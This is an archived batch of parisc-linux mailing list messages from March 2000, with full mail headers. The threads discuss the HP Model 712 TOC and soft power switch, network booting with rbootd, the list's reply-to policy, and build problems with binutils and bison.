	for <parisc-linux@thepuffingroup.com>; Wed, 29 Mar 2000 11:02:22 +0200 (MET DST)
Original-Sender: beerse@ats.nld.alcatel.nl
X-Mailer: Mozilla 4.72 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7124

davisg@Celestica.com wrote:
> 
> Greetings,
> 
> Corne' Beerse wrote:
> >
> > As I read this, the TOC button can have the next implementations:
> > - hardware reset, as the button on intel platforms
> > - three finger salute (<ctrl><alt><del>) as on intel platforms
> > - Boot prom prompt (if available, like Sun's <Stop><A>)
> > - Kernel core dump and [stop|halt|reboot|continue|shutdown]
> > - What does HPUX with it?
> > a combination of the above.
> 
> HP-UX provides an OS_TOC vector which is invoked by the platform firmware's
> PDCE_TOC handler. When control is transferred to the OS_TOC handler, the OS
> proceeds to perform a core dump. Then reboots (resets) the system.
> 
> >
> > The main reason for this button is a kernel debugging aid. Not that I'm a
> > kernel hacker, I follow this group out of interest.
> 
> Correct! TOC is used as a diagnostic tool when debugging systems which appear
> to be hung and are no longer responding, i.e. TOC is a high priority interrupt
> (although it's not technically classified as an interrupt - rather, it is a
> special form of reset which preserves machine state) which ideally invokes
> a core dump then reboots (resets) the system. The core can then be reviewed
> after reboot to determine the potential cause of the hang condition.
> 
> >
> > BTW, Where can I find this TOC button on my 9000/712/60 machine? is it the
> > white button on the front? If so, please give some software control to it.
> > In the past, I frequently pushed my keyboard against it, rebooting the
> > machine while typing......
> >
> 
> There is no TOC button available on the Model 712. A special debug card is
> used by HP hardware and OS developers for TOC among other things on this
> platform.
> 
> BTW, the white button on the front left side of the Model 712 is a soft
> power switch. Upon initial application of power, the switch operates as
> a hard power switch which immediately affects the power supply state (ON/OFF).
> After the OS (HP-UX) has booted and initialized, a bit buried in the Lasi
> power control register can be flipped by the OS to enable the soft power
> feature which, with proper setup of the hardware and inclusion of the
> necessary OS hooks, invokes an interrupt when depressed thus allowing
> a clean shutdown of the system, i.e. the soft power switch interrupt
> handler invokes 'shutdown -h now' to perform a clean unmount of all
> file systems, etc,. Note that not all systems which use Lasi utilize
> this feature - some don't implement any form of soft power feature,
> while others use a different method entirely. But in the case of the
> Model 712...

To my experience, in power-off state it is the power-on. I think it is a
pushbutton which activates a hold-relais to keep the power on. In power-on
mode it invokes `shutdown -h now` as you describe. This is on a machine
running HPUX 10.20, same experience (as I recal by head) on 10.10, 10.01 and
9.x.

For the ease of use in the future, my wich is to control the behavoure from
linux. I think of an entry in the init.tab file, similar to the
<ctrl><alt><delete> entry which is in there for intel platforms. For Sun
sparc machines, there is a similar switch. How is that handled in sparc
linux?

CB

btw, if I reply to messages received trouth parisc-linux@thepuffingroup.com,
it replies only to the originator, not to the puffin list. Other maillists
generate a Reply-to: header line with the maillist address. Can this be
added to the puffin headers too? Or are there reasons not to do it?

-- 
Everything should be as simple as possible but not simpler - A. Einstein
Corne' Beerse					| Alcatel Telecom Nederland
mailto:beerse@ats.nld.alcatel.nl		| Postbus 3292
talkto:+31(70)3079108 faxto:+31(70)3079191	| NL-2280 GG  Rijswijk


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 12:11:37 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <852568B1.005E6F18.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618864 31771 80.91.229.3 (22 Nov 2014 01:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:24 +0000 (UTC)
Cc: davisg@Celestica.com, Corne Beerse <beerse@ats.nld.alcatel.nl>,
        parisc-linux@thepuffingroup.com
To: Philippe Benard <phi@hpfrcu03.france.hp.com>
Original-X-From: davisg@Celestica.com  Wed Mar 29 11:13:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07442
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 11:13:47 -0700
Original-Received: (qmail 18854 invoked by uid 15267); 29 Mar 2000 18:13:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25127 invoked from network); 29 Mar 2000 17:15:35 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 17:15:35 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id LAA73140; Wed, 29 Mar 2000 11:58:14 -0600
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id MAA12088; Wed, 29 Mar 2000 12:03:39 -0600
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id MAA38116; Wed, 29 Mar 2000 12:11:32 -0500 (EST)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852568B1.005E7124 ; Wed, 29 Mar 2000 12:11:33 -0500
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7125





Greetings,

Phi wrote:
> >
> > There is no TOC button available on the Model 712. A special debug card is
> > used by HP hardware and OS developers for TOC among other things on this
> > platform.
>
> Not sure about it, but I think that pushing the white button 3 time, i.e from
> ON state going OFF/ON/OFF (may be more don't remember) does trig a TOC, and
> this is High prio, i.e for dump capable OS, this mean post mortem dump
> analysis due to a hang possible (i.e what I like :-)
>

Ooops, I stand corrected, the power switch (used in this manner while running
HP-UX) can indeed be
used to trigger a TOC. However, I still assert that the power switch itself
cannot be directly used to
generate a TOC. Refer to the "lasi_ers.ps" on or about page 78. There is a
diagram which describes
the power switch control circuit. As described in this diagram and elsewhere in
this document, the power
switch generates a power fail interrupt to the CPU only. The hardware itself
cannot directly trigger a TOC
on the Model 712. But, apparently, you can cause a TOC on the Model 712 (while
running HP-UX) by
toggling the power switch a few times. I've tried, it works, I'll be damned, I
didn't know that.

Thanks for the insight!    :  )



Regards,
Geoge G. Davis
Software Engineer,  Celestica Chelmsford Design Center
20 Alpha Road
Chelmsford, MA 01824



From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <b_valkema@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] using lan to boot
Date: Wed, 29 Mar 2000 10:27:39 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20000329180613.99367.qmail@hotmail.com>
References: <Pine.LNX.4.10.10003281748330.2059-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618864 31775 80.91.229.3 (22 Nov 2014 01:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:24 +0000 (UTC)
To: "Mike Brancato" <funnyguy@digitalsmackdown.net>,
        <parisc-linux@thepuffingroup.com>
Original-X-From: b_valkema@hotmail.com  Wed Mar 29 11:29:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07709
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 11:29:29 -0700
Original-Received: (qmail 13078 invoked by uid 15267); 29 Mar 2000 18:29:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7898 invoked from network); 29 Mar 2000 18:06:40 -0000
Original-Received: from law2-oe30.hotmail.com (HELO hotmail.com) (216.32.180.23)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 18:06:40 -0000
Original-Received: (qmail 99368 invoked by uid 65534); 29 Mar 2000 18:06:13 -0000
X-Originating-IP: [145.98.39.75]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7126

Hi,

I had the same problem, try rbootd (rpm & tar download somewhere on the
puffin.external.hp.com site) & install in Linux x86
Next, install HPPA-Linux bootimage in /export/hp/images (I think, look in
messagedump (/var/adm/messages in my distribution) & edit /etc/rbootd.conf

should work now.

bye, BaZ


----- Original Message -----
From: Mike Brancato <funnyguy@digitalsmackdown.net>
To: <parisc-linux@thepuffingroup.com>
Sent: Wednesday, March 29, 2000 1:01 AM
Subject: [parisc-linux] using lan to boot


>
> i played with the 735/125 we have here, and i can't get it to sent any
> packets.  it has no HD right now.  using snoop to monitor network traffic,
> we looked to its hardware address.  no luck.  to go the hardware address,
> i type hrdw_addr os something at the boot prompt?  we used that HW
> address.  typing "boot lan.<servershwaddr>.0.0" makes the boot fail.  and
> there is no network traffic from that machine.  when the computer searches
> for bootable devices, it only sees P0 which is the floppy.  It prints out
> liek 5 lines of numbers...  000000 000000 000050 etc...  it says boot
> failed and stuff and INIT_ENTRY = -7.  could anyone explain.  we're
> perflexed whay lan won't send anything.  the externet adapter is flashing
> the Tx light though.
>
> i've got an image prefared, and now i just need to boot to it.
>
> mike
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 13:52:20 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20000329135220.B5424@thepuffingroup.com>
References: <852568B0.005CB5C5.00@tormta3.tor.cel.com> <38E1C69C.1BEB8F9C@ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618865 31778 80.91.229.3 (22 Nov 2014 01:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Corne Beerse <beerse@ats.nld.alcatel.nl>
Original-X-From: willy@thepuffingroup.com  Wed Mar 29 11:33:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07912
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 11:33:24 -0700
Original-Received: (qmail 19925 invoked by uid 15267); 29 Mar 2000 18:33:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26500 invoked from network); 29 Mar 2000 18:18:25 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 18:18:25 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA22346;
	Wed, 29 Mar 2000 13:52:20 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <38E1C69C.1BEB8F9C@ats.nld.alcatel.nl>; from Corne Beerse on Wed, Mar 29, 2000 at 11:02:20AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7127

On Wed, Mar 29, 2000 at 11:02:20AM +0200, Corne Beerse wrote:
> btw, if I reply to messages received trouth parisc-linux@thepuffingroup.com,
> it replies only to the originator, not to the puffin list. Other maillists
> generate a Reply-to: header line with the maillist address. Can this be
> added to the puffin headers too? Or are there reasons not to do it?

The current behaviour is correct.  If you want to reply to the person
sending the message privately, you reply; if you want to reply to the
list, you reply to all (possibly trimming the cc list as appropriate).
With the reply-to header, there is no way to accomplish this.  I'm sure
I've seen more than one `Considered Harmful' document on this subject.


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 13:10:46 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20000329131046.A19277@flynn.zork.net>
References: <852568B0.005CB5C5.00@tormta3.tor.cel.com> <38E1C69C.1BEB8F9C@ats.nld.alcatel.nl> <20000329135220.B5424@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618865 31782 80.91.229.3 (22 Nov 2014 01:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:25 +0000 (UTC)
Cc: Corne Beerse <beerse@ats.nld.alcatel.nl>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: pedro@flynn.northpark.edu  Wed Mar 29 12:10:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08342
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 12:10:53 -0700
Original-Received: (qmail 27067 invoked by uid 15267); 29 Mar 2000 19:10:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27038 invoked from network); 29 Mar 2000 19:10:51 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 19:10:51 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12aNra-0005gF-00; Wed, 29 Mar 2000 13:10:46 -0600
Mail-Followup-To: willy@thepuffingroup.com,
	Corne Beerse <beerse@ats.nld.alcatel.nl>,
	parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
In-Reply-To: <20000329135220.B5424@thepuffingroup.com>; from willy@thepuffingroup.com on Wed, Mar 29, 2000 at 01:52:20PM -0500
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7128

Quoting willy@thepuffingroup.com:
> On Wed, Mar 29, 2000 at 11:02:20AM +0200, Corne Beerse wrote:
> > btw, if I reply to messages received trouth parisc-linux@thepuffingroup.com,
> > it replies only to the originator, not to the puffin list. Other maillists
> > generate a Reply-to: header line with the maillist address. Can this be
> > added to the puffin headers too? Or are there reasons not to do it?
> 
> The current behaviour is correct.  If you want to reply to the person
> sending the message privately, you reply; if you want to reply to the
> list, you reply to all (possibly trimming the cc list as appropriate).
> With the reply-to header, there is no way to accomplish this.  I'm sure
> I've seen more than one `Considered Harmful' document on this subject.

'Reply-to Munging' is, I believe, the proper term for 'reply'
being header-forced to operate as 'reply-to-all'. 

The Goodness of reply-to and reply-to-all being separate will become
clear with time, when after some period here, you go back to another
list and accidentally send a extremely personal message to *everyone*.

Speaking as one who has sent such messages,

Peter

PS: I just got an HP-9000 E45... soon to be a Linux box!


From - Thu Nov 08 21:12:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Wed, 29 Mar 2000 16:58:51 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20000329165851.E5424@thepuffingroup.com>
References: <852568B0.005CB5C5.00@tormta3.tor.cel.com> <38E1C69C.1BEB8F9C@ats.nld.alcatel.nl> <20000329135220.B5424@thepuffingroup.com> <20000329131046.A19277@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618865 31785 80.91.229.3 (22 Nov 2014 01:14:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:25 +0000 (UTC)
To: Corne Beerse <beerse@ats.nld.alcatel.nl>, parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Mar 29 13:59:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA09981
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Mar 2000 13:59:38 -0700
Original-Received: (qmail 32390 invoked by uid 15267); 29 Mar 2000 20:59:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32382 invoked from network); 29 Mar 2000 20:59:37 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 29 Mar 2000 20:59:37 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA27271;
	Wed, 29 Mar 2000 16:58:51 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000329131046.A19277@flynn.zork.net>; from Peter A. Peterson II on Wed, Mar 29, 2000 at 01:10:46PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7129

On Wed, Mar 29, 2000 at 01:10:46PM -0600, Peter A. Peterson II wrote:
> PS: I just got an HP-9000 E45... soon to be a Linux box!

let's hope so :-)  It's got lots of devices in it which are not top
of our list to get HP to relelase docs on, nor support in any way,
but eventually it should be supportable.


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lars Segerlund <lars.segerlund@axis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NCR700
Date: Fri, 31 Mar 2000 02:23:50 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <200003310023.CAA11717@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618866 31786 80.91.229.3 (22 Nov 2014 01:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: seger@axis.com  Thu Mar 30 17:23:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA22093
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Mar 2000 17:23:54 -0700
Original-Received: (qmail 13733 invoked by uid 15267); 31 Mar 2000 00:23:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13712 invoked from network); 31 Mar 2000 00:23:52 -0000
Original-Received: from roma.axis.se (193.13.178.2)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 00:23:52 -0000
Original-Received: from seger.axis.se (seger.axis.se [192.168.2.150])
	by roma.axis.se (8.9.3/8.9.3) with ESMTP id CAA25099
	for <parisc-linux@thepuffingroup.com>; Fri, 31 Mar 2000 02:23:51 +0200 (MEST)
Original-Received: from axis.com (localhost [127.0.0.1])
	by seger.axis.se (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA11717
	for <parisc-linux@thepuffingroup.com>; Fri, 31 Mar 2000 02:23:50 +0200
X-Authentication-Warning: seger.axis.se: Host localhost [127.0.0.1] claimed to be axis.com
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Original-Mime-Version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id RAA22093
Xref: news.gmane.org gmane.linux.ports.parisc:7130


 Ok, is there anything I should know before I give it a try to write a NCR700
 driver for the NCR700 , is all I/O and such as usual in linux ?

 If I have got everything right I have to set up a crosscompiling gcc and boot
 the stuff from the network ?

 After that it's only to figure out how to make the NCR700 spin ? and that 
should
 be it ? after that it would be self hosting ? Is there any other SCSI 
drivers
 that needs to be written ?

 / ls.



From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: BOSCHINI@ICIL64.CILEA.IT
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 10:51:34 +0000 (MET-01DST)
Lines: 37
Approved: news@gmane.org
Message-ID: <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416618866 31789 80.91.229.3 (22 Nov 2014 01:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:26 +0000 (UTC)
Cc: BOSCHINI@cilea.it, QUATTRONE@cilea.it
To: PARISC-LINUX@THEPUFFINGROUP.COM
Original-X-From: BOSCHINI@ICIL64.CILEA.IT  Fri Mar 31 01:52:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA25281
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 01:52:10 -0700
Original-Received: (qmail 2609 invoked by uid 15267); 31 Mar 2000 08:52:09 -0000
Delivered-To: thepuffi-PARISC-LINUX@THEPUFFINGROUP.COM
Original-Received: (qmail 2601 invoked from network); 31 Mar 2000 08:52:09 -0000
Original-Received: from icil64.cilea.it (131.175.1.5)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 08:52:09 -0000
Original-Received: from ICIL64.CILEA.IT by ICIL64.CILEA.IT (PMDF V5.2-31 #32154)
 id <01JNOHLGWW5C000XJ1@ICIL64.CILEA.IT> for PARISC-LINUX@THEPUFFINGROUP.COM;
 Fri, 31 Mar 2000 10:51:35 MET-01DST
X-VMS-To: PARISC-LINUX@THEPUFFINGROUP.COM
X-VMS-Cc: BOSCHINI@CILEA.IT,QUATTRONE@CILEA.IT
Xref: news.gmane.org gmane.linux.ports.parisc:7131

Hello, 

first of all, compliments for the project.
I started some days ago trying to install parisc-linux on a 735 box. 
I started using gcc-2.95.2 and the corresponding binutils, as downloaded from 
http://hpux.tn.tudelft.nl/

Then, realisng a needed the parisc includes from the puffin, I re-started from
scratch. As sson as I start building, both with HP Ansi C compiler as well with
gcc 2.95, the binutils, I get an error about not finding bison

Making all in po
        /bin/sh /TMP/binutils/binutils/../ylwrap "`if [ -f ../bison/bison ] ;
then echo ../bison/bison -y -L/TMP/binutils/binutils/../bison/ ; else echo
bison -y ; fi`" /TMP/binutils/binutils/arparse.y y.tab.c arparse.c y.tab.h
arparse.h --  -d
/TMP/binutils/binutils/../ylwrap[86]: bison:  not found.
*** Error exit code 1

So, i decided to try building the puffin gcc using my old bin-utils, but,
obviously, make dies as soon as bison is required.

Do I need to install bIson first of building binutils and gcc ?

I have another question as well, is FDDI supported ? 

My box is on FDDI so I'd like to know it.

Anyway, thanks in advance and again, compliments for the great job !!!! 

Matteo Boschini
System and Network Administrator
C.I.L.E.A.
(boschini@cilea.it)




From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@cmu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Debugging
Date: Wed, 17 Mar 1999 11:38:26 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <19990317113826.R27177@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618866 31796 80.91.229.3 (22 Nov 2014 01:14:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:26 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Wed Mar 17 11:38:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA25431
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 11:38:48 -0500
Original-Received: (qmail 2365 invoked by uid 15267); 17 Mar 1999 16:38:05 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 2355 invoked from network); 17 Mar 1999 16:38:05 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 17 Mar 1999 16:38:05 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id LAA25421;
	Wed, 17 Mar 1999 11:38:34 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7132

Kindly ignore this--the mailing list has exploded and seems to be
looking for a reason to not send mail.  It should be resolved soon.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 11:52:11 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000331115211.B30107@thepuffingroup.com>
References: <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618867 31797 80.91.229.3 (22 Nov 2014 01:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:27 +0000 (UTC)
Cc: PARISC-LINUX@thepuffingroup.com, BOSCHINI@cilea.it, QUATTRONE@cilea.it
To: BOSCHINI@ICIL64.CILEA.IT
Original-X-From: willy@thepuffingroup.com  Fri Mar 31 08:52:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA28873
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Mar 2000 08:52:46 -0700
Original-Received: (qmail 17191 invoked by uid 15267); 31 Mar 2000 15:52:44 -0000
Delivered-To: thepuffi-PARISC-LINUX@thepuffingroup.com
Original-Received: (qmail 17169 invoked from network); 31 Mar 2000 15:52:43 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 31 Mar 2000 15:52:43 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA31380;
	Fri, 31 Mar 2000 11:52:12 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT>; from BOSCHINI@ICIL64.CILEA.IT on Fri, Mar 31, 2000 at 10:51:34AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:7133

On Fri, Mar 31, 2000 at 10:51:34AM +0000, BOSCHINI@ICIL64.CILEA.IT wrote:
> Then, realisng a needed the parisc includes from the puffin, I re-started from
> scratch. As sson as I start building, both with HP Ansi C compiler as well with
> gcc 2.95, the binutils, I get an error about not finding bison

That's correct, you need bison.  Would someone like to volunteer to make
a bison .depot available from pehc?  It should build properly on HPUX;
we certainly have a binary which works here, but I think it needs to be
packaged properly...


From - Thu Nov 08 21:12:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Cabatoff <ncc@cs.mcgill.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building bin-utils and gcc on HP735...
Date: Fri, 31 Mar 2000 10:55:35 -0500
Organization: SOCS, McGill University, Montreal, CANADA
Lines: 16
Approved: news@gmane.org
Message-ID: <20000331105534.F27366@cs.mcgill.ca>
References: <01JNOHLGY86Q000XJ1@ICIL64.CILEA.IT> <20000331115211.B30107@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
